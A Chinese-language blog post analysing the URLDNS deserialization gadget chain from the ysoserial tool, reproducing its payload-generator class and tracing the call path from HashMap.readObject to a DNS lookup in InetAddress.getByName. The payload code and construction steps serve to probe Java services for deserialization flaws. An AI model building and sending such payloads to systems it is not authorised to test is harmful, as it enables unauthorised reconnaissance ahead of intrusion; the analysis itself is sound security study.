URLDNS分析

URLDNS分析

本文字数:1050  阅读时长:3分钟

访客数:加载中... | 阅读量:加载中...

URLDNS 是 ysoserial 中一个非常适合检测是否存在反序列化漏洞存在的利用链,因为它具有下述俩个优点

  1. 使⽤ Java 内置的类构造,对第三⽅库没有依赖
  2. 在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞

下面是 ysoserial 内 URLDNS 的代码

java
public class URLDNS implements ObjectPayload<Object> {  
    public Object getObject(final String url) throws Exception {  
        // 避免在负载创建期间进行 DNS 解析  
        // 由于字段 <code>java.net.URL.handler</code> 是瞬态的,它将不包含在序列化的负载中。  
        URLStreamHandler handler = new SilentURLStreamHandler();  
        HashMap ht = new HashMap(); // HashMap 将包含 URL  
        URL u = new URL(null, url, handler); // 用作键的 URL  
        ht.put(u, url); // 值可以是任何可序列化的对象,使用 URL 作为键会触发 DNS 查找。  
        Reflections.setFieldValue(u, "hashCode", -1); // 在上面的 put 操作中,URL 的 hashCode 被计算并缓存。此操作重置 hashCode,以便下次调用时触发 DNS 查找。  
        return ht;  
    }  

    public static void main(final String[] args) throws Exception {  
        PayloadRunner.run(URLDNS.class, args);  
    }  

    /**  
     * <p > 这个 URLStreamHandler 的实例用于在创建 URL 实例时避免任何 DNS 解析。  
     * DNS 解析用于漏洞检测。在使用序列化对象之前,不应探测给定的 URL。</p>  
     *  
     * <b > 潜在的假阴性:</b>  
     * <p > 如果 DNS 名称首先从测试计算机解析,目标服务器在第二次解析时可能会获得缓存命中。</p>  
     */  
    static class SilentURLStreamHandler extends URLStreamHandler {  
        protected URLConnection openConnection(URL u) throws IOException {  
            return null;  
        }  

        protected synchronized InetAddress getHostAddress(URL u) {  
            return null;  
        }  
    }  
}

触发点 HashMap#readObject

java
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();               
        int mappings = s.readInt();
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { 
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();// 此处获取 key,进入下面的 hash (key)
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);// 调用了 hash (key)
            }
        }
    }

在最后一行 putVal (hash (key), key, value, false, false); 调用了 hash (key),跳转去看 hash () 的实现

java
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);// 调用了 key.hashCode ()
    }

调用了 key.hashCode (),而 key 来自于 hashMap.readObject () 内读取的对象。在 URLDNS 中使⽤的这个 key 是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:

java
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);// 调用了 handler.hashCode (this);
        return hashCode;
    }

调用了 handler.hashCode (this); 而在 URLDNS 利用链中 handler 是 URLStreamHandler 类型,跳转去看在这里面 hashCode 的实现

java
protected int hashCode(URL u) {
        int h = 0;

        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        InetAddress addr = getHostAddress(u);//getHostAddress(u);
      
       /* 中间无关代码省略 */

        return h;
    }

可以明显看到里面执行了 getHostAddress (u); 跳转去看实现

java
protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);// 根据主机名获取 IP,即进行一次 DNS 解析
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

那么可以明显看到最终是在 InetAddress.getByName (host); 这个地方触发 DNS 解析从而进行判断是否存在反序列化漏洞


调用链

  1. HashMap->readObject()
  2. HashMap->hash()
  3. java.net.URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress.getByName()

而要构造这个 Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap 中;注意要设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时才会重新计算其 hashCode ,才能触发到后⾯的 DNS 请求,否则不会调⽤ URL->hashCode () 。


参考

Java 安全漫谈 - 08. 反序列化篇 (2)